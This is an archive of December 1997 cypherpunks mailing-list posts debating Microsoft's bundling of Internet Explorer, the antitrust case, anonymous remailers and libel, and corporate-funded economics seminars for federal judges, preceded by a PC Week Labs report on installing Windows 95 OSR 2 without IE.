In a letter to the U.S.  Department of Justice and in press
releases issued this week, Microsoft officials said IE 3.0
is an integrated component of the Windows 95 operating
system, as shipped in OSR (OEM Service Release) version 2.
They further asserted that the removal of certain IE DLLs
from OSR 2 would render the operating system unbootable.

PC Week Labs' tests have shown that this is not the case.

Using copies of OSR 2 CDs provided with OEM PCs, we merely
modified four lines in one of the Windows 95 setup files to
prevent IE 3.0 from installing.  This modification had no
impact on the operating system's capabilities or
performance.  Instead of the install script overwriting
Windows 95 DLLs with files from IE 3.0, the original Windows
95 DLLs remained intact.

Moreover, significant OSR 2 features, like the FAT32 file
system, remained intact using our modified install program.

Microsoft would likely disagree, but our experience with
Windows 95 and recent tests of Windows 98 show that the
operating systems are much better suited for corporate
deployment without the browser.

Removing IE 4.0 from Windows 98 in particular eliminates the
very features that will incur the most costs in a corporate
setting:  Active Desktop, channels and the Web-based Windows
System Update.

The Active Desktop user interface, for example, differs
significantly from Windows 95 and will require considerable
user retraining.  If Microsoft prevails and includes IE 4.0
with the shipping version of Windows 98, it is easy enough
to disable Active Desktop using either administration tools
or by modifying the user interface directly.  The end result
will be the same user interface as Windows 95.

With their current focus on entertainment, the channels
feature afforded by IE 4.0 in Windows 98 likewise is not
ready for corporate prime time.

System Update--which uses ActiveX controls to scan a Windows
98 system to determine if it has out-of-date software and
drivers-is compelling in consumer applications but will be a
poor match in a corporate setting.  A better solution than
users upgrading their own systems when they see fit would be
to push the updates to all applicable clients at once, so
that software versions are consistent across large numbers
of clients.


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Comment: No safety this side of the grave. Never was; never will be

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=qg6e
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Douglas Decicco <dad@TranSeed.com>
Date: Mon, 22 Dec 1997 06:51:46 +0800
To: cypherpunks@toad.com
Subject: Disection of Politics
Message-ID: <349D9A75.735D@TranSeed.com>
MIME-Version: 1.0
Content-Type: text/plain



There is that word "FREE" which has a scope similar to the
other massively abused word "LOVE".  As far as I'm concerned
the term "FREE WORLD" is as ambiguous as the sentence "I LOVE
YOU."

Sometimes people mean by freedom that the government penalizes
those who impinge upon the civil rights of others or the
attitude of the people under that government tends to uphold
such civil rights willingly because of the prevalent ideology
of that social group.  This freedom is important to me, and why
I am grateful to have been born into this century under a
fairly civil-minded constitutional government.

When it comes to monopoly issues it is not civil freedom that
is under question, not the rights of free speech, belief system,
assembly or the simple choices of spouse or educational
objective.  It is the right to secure control over hoards of
assets that is in question.  I think that successful business
people who seek monopolous control are actually sick with an
insecurity which underlies their apparent love of money.

It is clear to me that even though the human mind does not
appear to be up to motivating itself for the good of the whole
which many of the non-free-enterprise economic systems have
proposed, free enterprise has many deficiencies.  It is
inefficient and it encourages lack of humility, greed, theft,
dishonesty and, above all, gluttony.  Take a walk through a
shopping area in a Christmas-celebrating country at this time
of year and just watch.  People are buying hoards of useless
items.  The fallacious conjecture is that this "stimulates the
economy".  No, it distracts the workforce from work that could
benefit people in meaningful ways.

The reason I believe in the dissemination of cryptographic
technology and mailing lists like this one is that it assists
the continuance freedom of speech, a freedom which invites me
to practice restraint and exercise responsibility.  I am
torn between joy over Internet communication and disgust
in the ugly creatures that free-enterprise has nourished while
funding this communication mode.  When I find myself reading
the manipulative legal statements of any of the large
corporations I loath myself for being so willing to purchase
their products, even if it pays my bills.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Mon, 22 Dec 1997 02:09:30 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <66iaur$foc$1@chronicle.austx.tandem.com>
Message-ID: <19971221180004.12277.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

gburnore@netcom.com (Gary L. Burnore) wrote:

> :That's the whole point of using remailers -- so that some country that wants
> :to be tyrranical can't hunt down someone in another country that does something
> :it considers "politically incorrect".  If something annoys you, then stop
> :reading it.  Killfile the author.  Killfile all remailers if you like.  Don't
> :use dynamite (pun intended) to exterminate cockroaches.
>  
> So what do you do in those instances where you're slandered continously in
> USENet by someone posting anonymously.  In the non-cyber world, the speaker
> would be held responsible. Who's held responsible when it's commited in
> USENet?

I'm assuming that you really meant to refer to libel (written) rather than
slander (verbal).  I suspect that there is very little that can be done, and
that holds true for non-anonymous posts as well.  Just looking at some of the
massive cross-posts with subject lines that say "So-and-so is a pedophile"
(some of them with Netcom addresses who seem to be able to hang onto their
accounts despite making such accusations), I'd say that usenet is a different 
ballgame from the print media where for-profit publishers have deeper pockets.
  
The problem with tort laws is that to successfully sue for libel you have to 
prove damages as well as prove that what was said was false.  Thus, you'd have 
to prove to a jury that someone made a defamatory statement about you that was 
false, that people believed it, and that your reputation has suffered 
measurably as a result.  Identifying the person who posted the message is only 
a small part of the problem.

Moreover, if the plaintiff has attained the status of a "public figure", he
has to prove additionally that the defendant KNOWINGLY and MAILICIOUSLY 
published FALSE information.  Thus, if you said that Clinton sexually harassed 
Paula Jones, it's unlikely that the President could sue you and win.  He'd have
to prove that you knew the accusation was false and made it anyway with
malicious intent.

The problem with libel via usenet is that in order to win you'd have to
prove that you had an impeccable reputation until someone defamed you with
a usenet post, people believed the post, and now your name is mud because of
it.  An anonymous post would be even more problematic, since you'd have to
persuade a jury that people who'd previously believed you to be a fine
upstanding netizen were convinced otherwise by a nameless accuser.  Usually
the people who will believe dirt about someone are those who already suspect
he's a no-good-so-and-so, so it'd be hard to make a legal case for his 
reputation being diminished.

> :Are you offering to donate the disk space?  If you can convince Hotmail and
> :other providers to do what you're suggesting, and provided they properly
> :inform all new and existing users of this new policy far enough in advance
> :to make other plans if they so desire, I would not object.
>  
> Hotmail DOES know who signs up and uses their mail service (at least the
> connection information such as IP and provider.

That's probably reason enough for someone who truly needs anonymity to avoid
such a service.  The problem is that once it's known that the identifying
information exists somewhere, the keeper of that information becomes a
target for coercion, bribery, hacking, burglary, etc.
 
> :And if the remailer stored no information to tempt litigious individuals,
> :firms, and governments, then that problem would be solved altogether.
>  It's the same principle that stores
> :use when they leave their cash registers EMPTY and UNLOCKED at night.  A thief
> :will often cause more damage to the cash register breaking into it than the
> :amount of the money that it contains.  What you're suggesting is that the
> :person's privacy be violated BEFORE any law is broken, just in case he MIGHT
> :break a law later.
>  
> There's still no way to do something even if the law has already been broken.

If someone has already been convicted of an offense that involved the
internet, it might be possible to suggest that one condition of any probation
or parole be to avoid using the internet, similar to what happens when one is
convicted of drunk driving.  Many jurisdictions allow victim input into the
sentencing/parole process.

(I'm not advocating this, merely pointing out that it's possible.)
 
> :It's your choice.  Go visit the list of remailers currently in operation and
> :count how many there are.  If it's too much trouble for you to send a single
> :block request, CCed to a dozen or so addresses, then you probably don't have
> :a strong enough case to go to court, obtain a warrant or subpoena, either.  
> :By the time you go through that process, you'll have invested far more time
> :and effort than sending an e-mail or two to prevent the problem.
>  
> He's saying someone's harassing him. (Sounds like in USENet and Email)
> Blocking your address only helps the email part. Not USENet.

No, actually he was saying that he wasn't worrying about someone doing it TO
HIM, but he was worrying (vicariously) about other potential victims.  Yes,
usenet is a different story and by its very nature it can never be totally
offense-free.  The best remedy there is to use a killfile, or even avoid some
NGs altogether, especially unmoderated ones, where one is likely to be offended
by what he reads.

The problem is that devising workable solutions to problems that don't yet
exist is much more difficult that resolving problems that do already exist.
And that's doubly true if the person refuses to implement the preventive
measures already suggested.  It's sort of like saying, "Why should I be careful
with that hot coffee?  I'll just wait until it spills and injures me, then
I can sue someone!"
 
> :If it's not serious enough for you to request that your e-mail address
> :be blocked, then why should the authorities think it's serious enough to
> :devote the resources to hunt down your harasser?
>  
> Blocking all remailers means you get _NO_ anonymous posts. Pretty serious when
> you've only a problem with one abuser, no?

It wasn't intended as universal advice.  But since his premise was that 
'Completely anonymous communications ARE only for "Criminals"', it seemed a
wise precaution FOR HIM to take if he wanted to prevent any of those 
"criminals" from bothering him.
 
> :If the only purpose of anonymous e-mail is to break the law, then why
> :WOULDN'T you want to block it?  Do you have some reason you'd want to hear
> :from people you consider lawbreakers?
> 
> I still think he's mistaken by thinking that all who post anonymously are
> lawbreakers. 

I do too.  But his premise was used to support his suggested remedy.  If an 
anonymous user is NOT presumed to be a criminal, then you can't justify 
treating him like one.
 
> It's like anything else in life, a few assholes ruining things
> for everyone. 

So true ... of remailers, of Netcom and AOL accounts, usenet, and the 
internet in general.  But they'll only ruin it if you let them.  Trolls and 
flaming predate the internet itself and go back to Fidonet and BBSes in 
general.  (I wouldn't doubt that people were lamenting the misuse of free
speech back in ancient Greece.)

It's sort of like cable TV.  There's enough bandwidth (excluding outright
spammers for the moment) that you can choose the "channels" with what you
perceive to have a sufficient signal to noise ratio, and avoid the rest.
Everyone has his own threshold.  That's why many NGs come in both
moderated and unmoderated flavors.

> :> If someone really wants to send me email, there
> :> is no way I can prevent it short of not allowing any untrusted
> :> accounts to email me.  And that's reducing my lifestyle.  It's giving 
> :> in.
> :
> :That's your choice.  The solution exists if you choose to use it.
>  
> It's a lousy solution that only cures part of the problem.

In an imperfect world, you often have to settle for the best you can get, being
careful that you don't enact a cure that's worse than the disease.
 
> :> Only within a single country.  With an international network like this
> :> one, it is ridiculously easy to get around the laws of any one
> :> country.  Getting around the laws of EVERY country on the net is a lot
> :> harder, and should rightly be so.  
> :
> :So if somebody in Argentina decides to harrass someone in England, how would
> :what you're proposing solve that problem?
>  
> If they weren't posting anonymously, there'd be things that could be done.
> But if they're posting anonymously, how wouyld you know they were in
> Argentina?

You wouldn't.  But if you'd jumped through all the hoops to hunt down the
anonymous annoyance and the trail led to Argentina, then the spirit of
non-cooperation between the Brits and the Argentines might well mean that
the trail ends right there.  Or take it a step further.  Suppose the Argentine
remailer cooperated, and told the authorities that the message in question
was chained through a remailer in Germany.  And so on...

Politas' solution is conditioned on an ideal world where everyone cooperated
with everyone else.  What he cited as the protection an anonymous poster
would have against an oppresive regime is also why his scheme would not work.
Very little in the way of abuse goes on on the Internet that would be
universally recognized as criminal by EVERY country.  Not all countries
deem copyright violations, posting kiddie porn, libel, blasphemy, sedition,
posting birth control information, or even bomb-making recipes as actionable
offenses worthy of governmental intervention to identify and prosecute the
culprit.

Take "libel", for example.  Let's suppose a law were enacted today to make
defaming the President of the United States a criminal offense.  How much
success do you think you'd have in forcing a remailer in Libya or Iraq to
aid in hunting down such an offender?
 
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 22 Dec 1997 10:36:39 +0800
To: cypherpunks@cyberpass.net
Subject: Coercive Monopolism vs Wimpyness
Message-ID: <3.0.32.19971221183650.006b719c@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hut quoted Tom Steinert-Threlkeld:

"So, it can't coerce computer makers to license the IE
browser as a condition of licensing the Windows operating
system, forcing them to install both onto the machines they
sell to the public."
...................................................

How do computer makers get "coerced"?  How, specifically are they "forced"
into doing something they don't want to do?   Are they incapable of just
saying "no"?  Is there a gun put to their head?  Does someone threaten them
with DoJ action if they don't participate in the game of monopoly?   Why do
they continue to lie down and roll over when MS comes around - don't they
know they're contributing to the demise of Netscape and the other
better-than-thou companies, which are *much* more deserving of success than
Gates is, since they're kinder & gentler?   Whose side are these people on,
anyway; how can they renege on the right to choose and instead just
_give_it_up_ to Microsoft?

And, since Windows OS is so pitifully lousy, why do people continue to buy
it, even without the computer attached;  why do they continue to upgrade,
even if it's so slow and bloated?   Don't they realize Unix is better?
Don't they realize they're just making Billg richer?

What's the matter with all these people, anyway (Attila)?
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 22 Dec 1997 08:53:52 +0800
To: cypherpunks@cyberpass.net
Subject: Building Pro-Monopoly Judges
Message-ID: <v03007807b0c3627251e3@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain



[Hmm. Apparently Charles is reluctant to defend his position here on
cypherpunks. Small surprise. --Declan]

==========

Date: Sun, 21 Dec 1997 18:49:41 -0500 (EST)
Reply-To: cmueller@metrolink.net
Originator: am-info@essential.org
Sender: am-info@essential.org
Precedence: bulk
From: charles mueller <cmueller@metrolink.net>
To: Multiple recipients of list <am-info@essential.org>
Subject: Building Pro-Monopoly Judges

        Declan McCullagh, still displaying a reluctance to debate with
graciousness (below), now wonders if I've heard of the Federalist Society.
"PS: I wonder if Mueller knows about the Federalist Society, which is a
group of libertarian-leaning lawyers and law professors. Among other things,
they make a point of educating judges about (gasp!) economic theory and this
concept of a government strictly limited in its powers..."

        I've been reporting on this propaganda mill for roughly 2 decades--
and have published hundreds of pages on it.  (See my January post on the
subject, below.)

        Charles Mueller, Editor
        ANTITRUST LAW & ECONOMICS REVIEW
        http://webpages.metrolink.net/~cmueller

                                                *************************8



         **
>
>>Return-Path: <antitrust@essential.org>
>>Date: Wed, 15 Jan 1997 19:04:50 -0500 (EST)
>>Errors-To: antitrust-owner@essential.org
>>Reply-To: cmueller@metrolink.net
>>Originator: antitrust@essential.org
>>Sender: antitrust@essential.org
>>From: cmueller@metrolink.net (cmueller)
>>To: Multiple recipients of list <antitrust@essential.org>
>>Subject: GMU's "Law & Economics Center"
>>X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
>>
>>        Perhaps I can add some information on the "Law & Economics Center"
>>at George Mason.  My journal first reported on its teach-in with the federal
>>judges in 1981 (Vol. 13, No. 3, pp. 70-71) and the following year I
>>physically visited the University of Miami campus (where it was then housed)
>>and did extensive interviews with several of the Center's people.  Those
>>interviews, plus another interview series I did at Emory University in
>>Atlanta when the Center moved there, and finally at George Mason itself
>>after the 3rd move, fill a number of my issues, beginning with Vol. 14, No.
>>2 (1982).  I've also reported on a couple of the legal challenges
>>(unsuccessful) to the Center's indoctrination of the federal judges.
>>        For example, U.S. District Judge Spencer Williams presided over a
>>predatory pricing case against ITT Continental Baking (Wonder Bread) some
>>years back.  The day after the jury began its deliberations, Judge Williams
>>left San Francisco to begin attendance at a 2-week "economics" seminar
>>presented by the Law & Economics Center at the Royal Biscayne Hotel in
>>Miami.  While he was gone, his jury returned a verdict for the plaintiff in
>>the amount of $5 million which, under the law, he was bound to triple to $15
>>million.  Instead, he returned from Florida, overturned the jury's verdict,
>>and wrote a letter to Henry Manne in Miami that read in part as follows:
>>"As a result of my better understanding of the concept of marginal cost, I
>>have recently set aside a $15 million antitrust verdict.  I will send you a
>>copy of the memorandum [opinion] as soon as it is prepared."  (See my
>>journal, Vol. 17, No. 2 (1985), p. 13.)
>>        Nan Aron and her colleagues at the Alliance for Justice in
>>Washington published a monograph on the subject--Justice for Sale In
>>America--in 1993 and I reprinted the key chapters in my journal, beginning
>>with Vol. 24, No. 3 (1993).  For earlier background, see Fortune, May 21,
>>1979; Washington Post, January 20, 1980; and The Nation, January 26, 1980.
>>        Put simply, this "Center" is a right-wing propaganda mill
>>masquerading as a purveyor of academic "economics."  The "teachers" have
>>been Harold Demsetz and others from the University of Chicago and its major
>>academic outposts (paid at an hourly rate commensurate with the up to $600
>>per hour commanded by George Stigler and the others as antitrust "experts"
>>in court).  No opposing economists have ever been allowed to appear before
>>the judges.  When I asked the Center's people why they didn't permit
>>distinguished non-Chicago economists to share the podium at these judicial
>>teach-ins, they laughed and said, "Let them go start their OWN seminars for
>>the judges!"
>>        I asked to be allowed to just sit in as an OBSERVER with the judges
>>and/or the 200 antitrust law professors (who have been run through a similar
>>indoctrination program) and Henry Manne himself responded to my request (by
>>telephone), No, "We keep it all in the family."  (Manne, who had been a law
>>professor at the University of Rochester, founded the "Center" in 1974 at
>>the University of Miami, then moved it to Emory and finally to George Mason.
>>A federal judge--Judge Hoffman, as I recall--helped him get the approval of
>>the judiciary's executive body in Washington, headed by the Chief Justice of
>>the Supreme Court.  The money to finance these sessions at luxury resorts
>>(mostly at Key Biscayne and other Florida beach towns) was originally gotten
>>directly from  Fortune 500 companies who had experienced the sting of
>>antitrust prosecution; in response to some criticism of that obvious
>>conflict of interest, Manne, with some creative accounting, arranged it so
>>that the seminars for the judges themselves--in 1981, the cost was $5,000
>>per judge per 2-week seminar--were thereafter paid for exclusively by the
>>corporate foundations, e.g., Schaife, Olin, etc., rather than by active
>>firms that frequently appear before the judges as antitrust defendants.
>>With this accounting twist, the judiciary gave its full blessing to the
>>operation.)
>>        I also did an interview with a federal appeals judge in Washington
>>(DC Circuit).  He saw nothing wrong with Manne's program, even assuming it
>>was pure propaganda designed specifically to bias the federal judiciary
>>against the antitrust laws and in favor of corporate monopoly.  Why?  (1)
>>First, he said, judges are, by the nature of their work, "immune" to
>>propaganda of all kinds.  They hear so much argument on so many sides of
>>every issue that it's simply impossible to "bias" them via argument.  (2)
>>Second, he told me, federal judges have every RIGHT to be as intellectually
>>"biased" as they like and to DEVELOP those intellectual biases with the help
>>of WHOEVER they please.
>>        For example, he said, suppose I go to the beach for a weekend with 3
>>volumes of Karl Marx's writings in my briefcase.  I find Marx so persuasive
>>that I come back to my chambers on Monday, throw away an opinion I had just
>>written on one of the cases before me, and proceed to write a new one
>giving my
>>decision to the opposite party.  Karl Marx "biased" me to change my
>>decision.  He had every right to do it--and I had every right to LET him
>>do it.
>>        George Mason University law school and its economics department
>>aren't scholarly enterprises at all; they're hired propagandists, awash in
>>corporate money awarded precisely for the purpose of making a contrived
>>"economic" case for laissez-faire monopoly.  They get away with it for one
>>reason and one reason only:  Manne's operation had the approval of Reagan's
>>Justice Department (rember Ed Meese?) and now it has the blessing of
>>Clinton's.  All it would take to bring it to a halt would be a couple of
>>speeches by, say, the Attorney General and, if necessary, by Clinton
>>himself.  If Justice treated it as the outrage that it plainly is, the
>>press--and the ensuing public condemnation--would purge the judiciary of
>>this 20-year scandal within a matter of weeks.
>>        Charles Mueller, Editor
>>        ANTITRUST LAW & ECONOMICS REVIEW
>>        http://www.metrolink.net/~cmueller/
>>
>>
>                                                     ***********







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 22 Dec 1997 08:56:55 +0800
To: cmueller@metrolink.net
Subject: Re: Building Pro-Monopoly Judges
In-Reply-To: <19971221234602734.AAA140@psl2027.metrolink.net>
Message-ID: <v03007808b0c362c364f9@[204.254.22.15]>
MIME-Version: 1.0
Content-Type: text/plain



Thanks, Charles, for the attached rant. Very amusing. Me, I prefer to tell
the truth, and if that means that I don't abide by your standard of
"graciousness," so be it.

I've run into the Federalist Society a few times before. I occasionally go
to their conferences, and I know they've been active in such HEINOUS
dealings as:

  -- arguing against the Communications Decency Act
  -- arguing against state-by-state content regulation of the Internet
  -- arguing for your right to speak anonymously online
  -- arguing for your right to use and distribute encryption freely

Yes, folks, you heard it here first. These folks are evil and must NOT be
allowed to hold seminars for judges. (Only leftists are allowed this
particular trick.)

BTW, if Charles had half a clue, he'd know George Mason's law and economic
schools are not particularly conservative, but are instead free-market and
libertarian. (How many conservatives opposed the CDA?) The Federalist
Society is also generally libertarian. Libertarians are not pro-big
business; they oppose corporate welfare and special-interest lobying. Such
as what Charles seems to endorse.

-Declan


At 18:49 -0500 12/21/97, charles mueller wrote:
>        Declan McCullagh, still displaying a reluctance to debate with
>graciousness (below), now wonders if I've heard of the Federalist Society.
>"PS: I wonder if Mueller knows about the Federalist Society, which is a
>group of libertarian-leaning lawyers and law professors. Among other things,
>they make a point of educating judges about (gasp!) economic theory and this
>concept of a government strictly limited in its powers..."
>
>        I've been reporting on this propaganda mill for roughly 2 decades--
>and have published hundreds of pages on it.  (See my January post on the
>subject, below.)
>
>        Charles Mueller, Editor
>        ANTITRUST LAW & ECONOMICS REVIEW
>        http://webpages.metrolink.net/~cmueller
>
>

         **
>
>>Return-Path: <antitrust@essential.org>
>>Date: Wed, 15 Jan 1997 19:04:50 -0500 (EST)
>>Errors-To: antitrust-owner@essential.org
>>Reply-To: cmueller@metrolink.net
>>Originator: antitrust@essential.org
>>Sender: antitrust@essential.org
>>From: cmueller@metrolink.net (cmueller)
>>To: Multiple recipients of list <antitrust@essential.org>
>>Subject: GMU's "Law & Economics Center"
>>X-Listprocessor-Version: 6.0c -- ListProcessor by Anastasios Kotsikonas
>>
>>        Perhaps I can add some information on the "Law & Economics Center"
>>at George Mason.  My journal first reported on its teach-in with the federal
>>judges in 1981 (Vol. 13, No. 3, pp. 70-71) and the following year I
>>physically visited the University of Miami campus (where it was then housed)
>>and did extensive interviews with several of the Center's people.  Those
>>interviews, plus another interview series I did at Emory University in
>>Atlanta when the Center moved there, and finally at George Mason itself
>>after the 3rd move, fill a number of my issues, beginning with Vol. 14, No.
>>2 (1982).  I've also reported on a couple of the legal challenges
>>(unsuccessful) to the Center's indoctrination of the federal judges.
>>        For example, U.S. District Judge Spencer Williams presided over a
>>predatory pricing case against ITT Continental Baking (Wonder Bread) some
>>years back.  The day after the jury began its deliberations, Judge Williams
>>left San Francisco to begin attendance at a 2-week "economics" seminar
>>presented by the Law & Economics Center at the Royal Biscayne Hotel in
>>Miami.  While he was gone, his jury returned a verdict for the plaintiff in
>>the amount of $5 million which, under the law, he was bound to triple to $15
>>million.  Instead, he returned from Florida, overturned the jury's verdict,
>>and wrote a letter to Henry Manne in Miami that read in part as follows:
>>"As a result of my better understanding of the concept of marginal cost, I
>>have recently set aside a $15 million antitrust verdict.  I will send you a
>>copy of the memorandum [opinion] as soon as it is prepared."  (See my
>>journal, Vol. 17, No. 2 (1985), p. 13.)
>>        Nan Aron and her colleagues at the Alliance for Justice in
>>Washington published a monograph on the subject--Justice for Sale In
>>America--in 1993 and I reprinted the key chapters in my journal, beginning
>>with Vol. 24, No. 3 (1993).  For earlier background, see Fortune, May 21,
>>1979; Washington Post, January 20, 1980; and The Nation, January 26, 1980.
>>        Put simply, this "Center" is a right-wing propaganda mill
>>masquerading as a purveyor of academic "economics."  The "teachers" have
>>been Harold Demsetz and others from the University of Chicago and its major
>>academic outposts (paid at an hourly rate commensurate with the up to $600
>>per hour commanded by George Stigler and the others as antitrust "experts"
>>in court).  No opposing economists have ever been allowed to appear before
>>the judges.  When I asked the Center's people why they didn't permit
>>distinguished non-Chicago economists to share the podium at these judicial
>>teach-ins, they laughed and said, "Let them go start their OWN seminars for
>>the judges!"
>>        I asked to be allowed to just sit in as an OBSERVER with the judges
>>and/or the 200 antitrust law professors (who have been run through a similar
>>indoctrination program) and Henry Manne himself responded to my request (by
>>telephone), No, "We keep it all in the family."  (Manne, who had been a law
>>professor at the University of Rochester, founded the "Center" in 1974 at
>>the University of Miami, then moved it to Emory and finally to George Mason.
>>A federal judge--Judge Hoffman, as I recall--helped him get the approval of
>>the judiciary's executive body in Washington, headed by the Chief Justice of
>>the Supreme Court.  The money to finance these sessions at luxury resorts
>>(mostly at Key Biscayne and other Florida beach towns) was originally gotten
>>directly from  Fortune 500 companies who had experienced the sting of
>>antitrust prosecution; in response to some criticism of that obvious
>>conflict of interest, Manne, with some creative accounting, arranged it so
>>that the seminars for the judges themselves--in 1981, the cost was $5,000
>>per judge per 2-week seminar--were thereafter paid for exclusively by the
>>corporate foundations, e.g., Schaife, Olin, etc., rather than by active
>>firms that frequently appear before the judges as antitrust defendants.
>>With this accounting twist, the judiciary gave its full blessing to the
>>operation.)
>>        I also did an interview with a federal appeals judge in Washington
>>(DC Circuit).  He saw nothing wrong with Manne's program, even assuming it
>>was pure propaganda designed specifically to bias the federal judiciary
>>against the antitrust laws and in favor of corporate monopoly.  Why?  (1)
>>First, he said, judges are, by the nature of their work, "immune" to
>>propaganda of all kinds.  They hear so much argument on so many sides of
>>every issue that it's simply impossible to "bias" them via argument.  (2)
>>Second, he told me, federal judges have every RIGHT to be as intellectually
>>"biased" as they like and to DEVELOP those intellectual biases with the help
>>of WHOEVER they please.
>>        For example, he said, suppose I go to the beach for a weekend with 3
>>volumes of Karl Marx's writings in my briefcase.  I find Marx so persuasive
>>that I come back to my chambers on Monday, throw away an opinion I had just
>>written on one of the cases before me, and proceed to write a new one
>giving my
>>decision to the opposite party.  Karl Marx "biased" me to change my
>>decision.  He had every right to do it--and I had every right to LET him
>>do it.
>>        George Mason University law school and its economics department
>>aren't scholarly enterprises at all; they're hired propagandists, awash in
>>corporate money awarded precisely for the purpose of making a contrived
>>"economic" case for laissez-faire monopoly.  They get away with it for one
>>reason and one reason only:  Manne's operation had the approval of Reagan's
>>Justice Department (rember Ed Meese?) and now it has the blessing of
>>Clinton's.  All it would take to bring it to a halt would be a couple of
>>speeches by, say, the Attorney General and, if necessary, by Clinton
>>himself.  If Justice treated it as the outrage that it plainly is, the
>>press--and the ensuing public condemnation--would purge the judiciary of
>>this 20-year scandal within a matter of weeks.
>>        Charles Mueller, Editor
>>        ANTITRUST LAW & ECONOMICS REVIEW
>>        http://www.metrolink.net/~cmueller/
>>
>>
>                                                     ***********







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sun, 21 Dec 1997 19:15:32 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <199712210732.QAA12422@eccosys.com>
Message-ID: <199712211112.UAA17803@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:05 97/12/21 -0600, William H. Geiger III wrote:

>(what money exchanes
> hands between telco's is another thing). 

Actually, I was talking about the telco-telco billing arrangements...

- Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 22 Dec 1997 12:10:19 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Why I Support Microsoft
In-Reply-To: <v0310280db0c2f8195048@[207.167.93.63]>
Message-ID: <199712220406.UAA06745@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



my understanding of the current MS debate is not 
flawless-- it's got a lot of minutia that's hard to 
follow. however:

what TCM fails to mention is a basic point: MS signed an
agreement a few years ago or whatever that they would not
bundle their browser with their OS, win95. 

now MS is having second thoughts, and trying to weasel out
of the contract by setting up a system in which the consumer
is supposedly requesting the browser integration via the 
licensing agreement.

the Justice department is doing nothing but enforcing a contract
that MS itself signed. it seems pretty clear that MS is
breaching its own contract.

whether that contract was signed under duress, or the
Justice dept is unfairly targeting MS, are valid questions
but not wholly relevant to the current debate. if MS felt
it was being persecuted it should have mounted that defense
before it signed the contract on its own volition.

personally, I have said before: I think Gates is finding
that in todays business world, cooperation is as important
as competition. the new climate has been described as
"co-operatition" and other words. Gates has made many
enemies in his megalomaniacal rise to power.  

make no mistake-- if you read books that discuss the 
behind-the-scenes, under-the-rock, behind-the-superficial-pr
atmosphere of the company, the unmistakable conclusion is 
that Gates is something of a tyrant bent on world software
domination. he has very few friends, and those that he
might think are his friends are really just sycophants
who are afraid of him.

capitalism involves many freedoms. one of those freedoms
involves doing business with companies that one prefers,
not necessarily for rational reasons. i.e. if people
begin to hate MS and abandon their products even if they
are superior and priced better, that's within the system
to do so. I personally think this is increasingly happening.

there are also a lot of stories that Gates has stabbed
companies in the back in deals in which he is supposedly
"cooperating" or having "strategic alliances" with. this is
way beyond the initial IBM thing. these rumors, which 
probably have some grounding in reality,
will make his business more difficult and have already done so.

in particular, Bill's inability to cooperate is evidenced
in the company's clear-cut strategy of trying to undermine
Java. what's interesting is that his company could just as
easily make lots of money by embracing the standard, even
without owning it themselves. there's a lot of bitterness
being generated by their veiled opposition to it. programmers
are far from stupid.

Bill doesn't realize how few real friends he really has.
he has made the mistake of thinking that business and 
cooperation are mutually exclusive. he'll pay the price.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Miller <dm0@avana.net>
Date: Mon, 22 Dec 1997 08:19:55 +0800
To: cypherpunks@Algebra.COM
Subject: Why Linux Users Support Microsoft
Message-ID: <349DBF53.228D0FB4@avana.net>
MIME-Version: 1.0
Content-Type: text/plain



Tim wrote:

>Over the years I've sometimes joined in on the jokes about Microsoft and
>Bill Gates...the jokes about the Borg, assimilation, and the habits of
>Gates. And I've lately really enjoyed the "Saturday Night Live" skits
>involving Bill Gates interrupting the Pope to announce that Microsoft
>has merged with Christmas, and so on.

That last skit was lame ass -- I like the monkey-boy ones.

> Anyway, the recent government actions against Microsoft are reprehensible
> to any person who values liberty. Microsoft is being punished for its
> success.

No shit.  I've been fighting the 'free-thinking' Linux crowd for weeks
on
this.  Just because MSFT sucks is no reason for the gov to start this
shit.
If MSFT sucks, they should be brought to court on those charges, and not
because everyone in the world was stupid enough to use their OS.

Further, just becuase MSFT sucks is no reason to give the gov the power
to regulate software content.  Jesus christ, get out of my pants.

> Making jokes about Bill Gates is one thing, just harmless fun. But
> advocating the Men with Guns (TM) seize control of the products he offers
> to uncoerced customers is simply wrong.

Yes.  This is not a case of "biting the hand that Fed you."  It is a
case
of government power to control a free market.  I don't fear Bill Gates,
I fear the gov.

Who will you fear in 20 years?  Linus?  Give me a break.

--David Miller

Windows '95, a dirty, two-bit operating system.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Mon, 22 Dec 1997 04:46:56 +0800
To: cypherpunks@toad.com
Subject: Re: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
